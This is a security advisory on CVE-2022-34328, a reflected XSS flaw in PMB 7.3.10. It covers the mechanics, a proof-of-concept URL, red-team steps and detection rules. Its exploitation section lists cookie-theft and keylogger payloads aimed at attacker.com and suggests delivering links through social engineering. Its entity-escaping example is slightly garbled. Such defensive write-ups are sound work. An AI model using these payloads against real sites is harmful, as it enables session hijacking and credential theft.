CVE-2022-34328

Executive Summary

CVE-2022-34328 is a reflected Cross-Site Scripting (XSS) vulnerability identified in PMB version 7.3.10. The flaw exists in the index.php script, specifically within the id parameter when the lvl=author_see request is made. An attacker can inject arbitrary JavaScript code into the web page, which is then reflected back to the victim's browser without proper sanitization or encoding. This allows for session hijacking, website defacement, or theft of sensitive information. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), and a public proof-of-concept (PoC) is available via a Nuclei template. No official patch has been released by the vendor, PMB (SIGB).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to the browser session of the victim.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The index.php script takes the id parameter from the HTTP GET request and reflects it directly into the HTML response without proper output encoding or sanitization. Specifically, when the lvl parameter is set to author_see, the value of id is inserted into the page's HTML in a context that allows script execution.

The PoC URL demonstrates the injection:

/index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

When decoded, the id parameter contains: 42691'><script>alert(document.domain)</script>. This breaks out of an existing HTML attribute (likely a href or src attribute) and injects a new <script> tag. The browser then executes the JavaScript, which in this case displays an alert with the domain name.

The root cause is the lack of proper input validation and output encoding. The application does not escape HTML special characters (like <, >, ', ") before including user-supplied data in the response.

Vulnerable vs. Patched Code

Vulnerable Code (PMB 7.3.10): The vulnerable code likely exists in the PHP file handling the author_see view. It might look something like this:

// Vulnerable: Direct concatenation of user input into HTML
echo "<a href='cart_info.php?id=" . $_GET['id'] . "'>View Cart</a>";

The $_GET['id'] value is directly embedded into the HTML without any sanitization.

Patched Code (Hypothetical): A patched version would use proper output encoding, such as htmlspecialchars() in PHP:

// Patched: Use htmlspecialchars to escape HTML special characters
echo "<a href='cart_info.php?id=" . htmlspecialchars($_GET['id'], ENT_QUOTES, 'UTF-8') . "'>View Cart</a>";

This would convert characters like < to <, > to >, and ' to ', preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy a vulnerable instance of PMB 7.3.10. This can be done using a Docker container or a local web server (e.g., XAMPP) with the PMB source code.
2. Craft Payload: Use the following URL to trigger the XSS:

   http://target/index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
   

3. Deliver Payload: Send the crafted URL to a victim (e.g., via email, social engineering, or a link on a forum).
4. Observe: When the victim clicks the link, the JavaScript alert(document.domain) will execute in their browser, confirming the XSS.
5. Advanced Exploitation: Replace the alert() payload with a more malicious script, such as:
   • Session cookie theft: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   • Keylogging: <script src="http://attacker.com/keylogger.js"></script>
   • Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Blue Team (Detection & Response)

1. Monitor Logs: Look for HTTP GET requests to /index.php with lvl=author_see and an id parameter containing suspicious characters like <, >, ', ", or script.
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> or other XSS patterns in the id parameter.
3. Input Validation: Implement server-side validation to reject any id parameter that contains HTML tags or JavaScript code.
4. User Education: Train users not to click on suspicious links, especially those containing query parameters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /index.php with lvl=author_see and an id parameter containing encoded or raw HTML/JavaScript.
  • Example URL pattern: index.php?lvl=author_see&id=*<script>*
• Host IOCs:
  • Web server access logs showing requests with the above pattern.
  • Presence of unexpected JavaScript code in the HTML source of the index.php response.
• File IOCs:
  • The vulnerable file index.php (or the specific module handling author_see) may contain unsanitized $_GET['id'] usage.

Detection Engineering

YARA Rule

rule CVE_2022_34328_XSS_PMB {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2022-34328 in PMB 7.3.10"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-34328"
        severity = "medium"
    strings:
        $xss_pattern1 = "lvl=author_see&id="
        $xss_pattern2 = "<script>"
        $xss_pattern3 = "%3Cscript%3E"
        $xss_pattern4 = "alert("
    condition:
        all of ($xss_pattern*) and filesize < 10KB
}

Sigma Rule

title: Reflected XSS Attempt Against PMB CVE-2022-34328
id: 7b2d3299-901e-7e61-dcb8-2bc2ea559110
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2022-34328 reflected XSS in PMB 7.3.10
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34328
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'lvl=author_see&id='
            - '<script>'
            - '%3Cscript%3E'
    condition: selection
falsepositives:
    - Legitimate use of the 'id' parameter with similar patterns (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-34328 PMB Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/index.php";
    http_uri;
    content:"lvl=author_see&id=";
    http_uri;
    pcre:"/<script>|%3Cscript%3E/i";
    sid:10000001;
    rev:1;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2022-34328;
    classtype:web-application-attack;
    priority:2;
)

Nuclei Template (Provided)

id: CVE-2022-34328

info:
  name: PMB 7.3.10 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    PMB 7.3.10 contains a reflected cross-site scripting vulnerability via the id parameter in an lvl=author_see request to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PMB.
  reference:
    - https://github.com/jenaye/PMB/blob/main/README.md
    - https://github.com/jenaye/PMB
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34328
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-34328
    cwe-id: CWE-79
    epss-score: 0.0598
    epss-percentile: 0.90694
    cpe: cpe:2.3:a:sigb:pmb:7.3.10:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sigb
    product: pmb
    shodan-query:
      - http.html:"PMB Group"
      - http.html:"pmb group"
      - http.favicon.hash:1469328760
    fofa-query:
      - body="pmb group"
      - icon_hash=1469328760
  tags: cve,cve2022,pmb,xss,pmb_project,sigb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>' target='cart_info"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

Remediation & Mitigation

• Immediate Actions:
  1. Upgrade: If a patched version of PMB becomes available, upgrade immediately. Currently, no official patch exists.
  2. WAF Rule: Deploy a Web Application Firewall rule to block requests containing <script> or other XSS patterns in the id parameter.
  3. Input Validation: Implement server-side validation to reject any id parameter that contains HTML tags or JavaScript code. Use a whitelist approach (e.g., only allow numeric IDs).
  4. Output Encoding: Ensure all user-supplied data is properly encoded before being included in HTML responses. Use functions like htmlspecialchars() in PHP.
• Long-Term Actions:
  1. Code Review: Conduct a thorough code review of the PMB application to identify and fix all instances of unsanitized user input.
  2. Security Training: Train developers on secure coding practices, especially regarding XSS prevention.
  3. Vulnerability Management: Implement a process for regularly scanning and patching third-party software.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: B2DCB3674B13BD025132DDFD] */}